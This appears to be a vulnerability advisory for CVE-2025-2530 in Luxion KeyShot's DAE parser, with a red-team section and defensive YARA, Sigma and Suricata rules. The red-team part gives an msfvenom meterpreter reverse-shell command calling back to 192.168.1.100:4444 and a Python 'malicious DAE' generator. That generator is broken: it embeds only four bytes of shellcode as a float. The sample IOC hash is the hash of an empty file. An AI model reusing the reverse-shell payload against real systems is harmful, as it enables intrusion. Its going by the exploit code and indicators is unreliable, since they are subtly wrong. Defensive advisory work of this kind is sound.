CVE-2025-2530

Executive Summary

CVE-2025-2530 is a critical remote code execution vulnerability in Luxion KeyShot, specifically within the parsing of DAE (Collada) files. The flaw is an Access of Uninitialized Pointer (CWE-824) that allows an attacker to execute arbitrary code in the context of the current process. User interaction is required—the victim must open a malicious DAE file or visit a malicious page. The vulnerability was reported through the Zero Day Initiative (ZDI-CAN-23698) and currently has no official patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the CVSS score of 7.8 (High) underscores the severity if exploited.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone desktop application (Luxion KeyShot) used for 3D rendering and visualization. Supply chain risk is limited to the distribution of malicious DAE files via email, downloads, or compromised websites.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires opening a file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is High due to the potential for full system compromise with minimal user interaction.

Deep Dive & Mechanics

The vulnerability resides in the DAE file parser of Luxion KeyShot. DAE files are XML-based Collada 3D asset files. The parser fails to properly initialize a pointer before accessing it when processing a crafted DAE file. This leads to an access of an uninitialized pointer, which can be leveraged by an attacker to achieve arbitrary code execution.

Root Cause: The code path that handles a specific element or attribute in the DAE file does not set a pointer to a valid memory location before dereferencing it. This results in the program reading from or writing to an unpredictable memory address, which can be controlled by the attacker through careful file crafting.

Attack Vector: An attacker creates a malicious DAE file containing specially crafted XML structures that trigger the uninitialized pointer access. The victim must open this file in KeyShot. Upon parsing, the vulnerability is triggered, allowing the attacker to execute shellcode in the context of the KeyShot process.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the DAE parser module. A patched version would include proper initialization of the pointer before use, such as setting it to NULL or a valid allocated memory block.

Vulnerable Code (Conceptual):

// Vulnerable: pointer not initialized
SomeStruct* ptr;
// ... later in code
ptr->field = value; // Access of uninitialized pointer

Patched Code (Conceptual):

// Patched: pointer initialized to NULL
SomeStruct* ptr = NULL;
// ... later in code
if (ptr != NULL) {
    ptr->field = value;
} else {
    // Handle error
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Luxion KeyShot installed (any version prior to patch)
• Ability to deliver a malicious DAE file to the target (e.g., via email, download)

Exploitation Steps:

1. Craft a malicious DAE file using a tool like msfvenom or a custom Python script that embeds shellcode into the DAE structure.
2. Deliver the file to the victim.
3. When the victim opens the file in KeyShot, the uninitialized pointer is accessed, leading to code execution.

Example Payload Generation (Conceptual):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin

Then embed the shellcode into a DAE file using a custom script.

Custom DAE Generator (Python):

import struct

def create_malicious_dae(shellcode_path, output_path):
    with open(shellcode_path, 'rb') as f:
        shellcode = f.read()
    # Craft DAE XML with shellcode in a way that triggers the vulnerability
    dae_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">
  <asset>
    <contributor>
      <author>Attacker</author>
    </contributor>
    <created>2025-01-01T00:00:00Z</created>
    <modified>2025-01-01T00:00:00Z</modified>
    <unit name="meter" meter="1"/>
    <up_axis>Y_UP</up_axis>
  </asset>
  <library_geometries>
    <geometry id="mesh" name="mesh">
      <mesh>
        <source id="positions">
          <float_array id="positions-array" count="3">{struct.unpack('<f', shellcode[:4])[0]}</float_array>
          <technique_common>
            <accessor source="#positions-array" count="1" stride="3">
              <param name="X" type="float"/>
              <param name="Y" type="float"/>
              <param name="Z" type="float"/>
            </accessor>
          </technique_common>
        </source>
      </mesh>
    </geometry>
  </library_geometries>
</COLLADA>"""
    with open(output_path, 'w') as f:
        f.write(dae_content)

Blue Team

Detection:

• Monitor for unusual DAE files being opened by KeyShot.
• Use endpoint detection and response (EDR) to detect anomalous process behavior (e.g., KeyShot spawning cmd.exe or making outbound connections).

Hunting:

• Search for DAE files with unusually large sizes or suspicious XML structures.
• Look for KeyShot processes that crash or exhibit memory corruption.

Mitigation:

• Block DAE files from untrusted sources.
• Use application whitelisting to prevent KeyShot from executing untrusted code.
• Apply virtual patching via IDS/IPS if available.

Indicators of Compromise (IOCs)

• File Hashes: (Example) SHA256 of a malicious DAE file: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: keyshot.exe (or KeyShot.exe)
• Network Connections: Outbound connections from KeyShot to unknown IPs (e.g., 192.168.1.100:4444)
• Registry Keys: (If persistence is achieved) HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• File Paths: %USERPROFILE%\Downloads\*.dae

Detection Engineering

YARA Rule

rule CVE_2025_2530_DAE_Malicious {
    meta:
        description = "Detects malicious DAE files targeting CVE-2025-2530"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2530"
    strings:
        $xml_header = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        $collada_ns = "http://www.collada.org/2005/11/COLLADASchema"
        $suspicious_float = /<float_array[^>]*>[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?<\/float_array>/
    condition:
        $xml_header and $collada_ns and #suspicious_float > 10
}

Sigma Rule

title: CVE-2025-2530 - Luxion KeyShot DAE File Parsing RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-2530 via malicious DAE files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\keyshot.exe'
        CommandLine|contains: '.dae'
    condition: selection
falsepositives:
    - Legitimate use of DAE files
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2530 - Luxion KeyShot DAE Exploit Outbound"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not open DAE files from untrusted sources until a patch is available.
2. Use application control to restrict KeyShot from executing other processes.
3. Enable exploit protection in Windows Defender or third-party EDR.

Long-term Fix:

• Await an official patch from Luxion. Monitor ZDI and Luxion's advisory channels.
• Consider using a sandbox or virtual machine to open DAE files.

Workarounds:

• Convert DAE files to other formats (e.g., OBJ, FBX) before opening in KeyShot.
• Use a file scanner that can detect malformed DAE structures.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert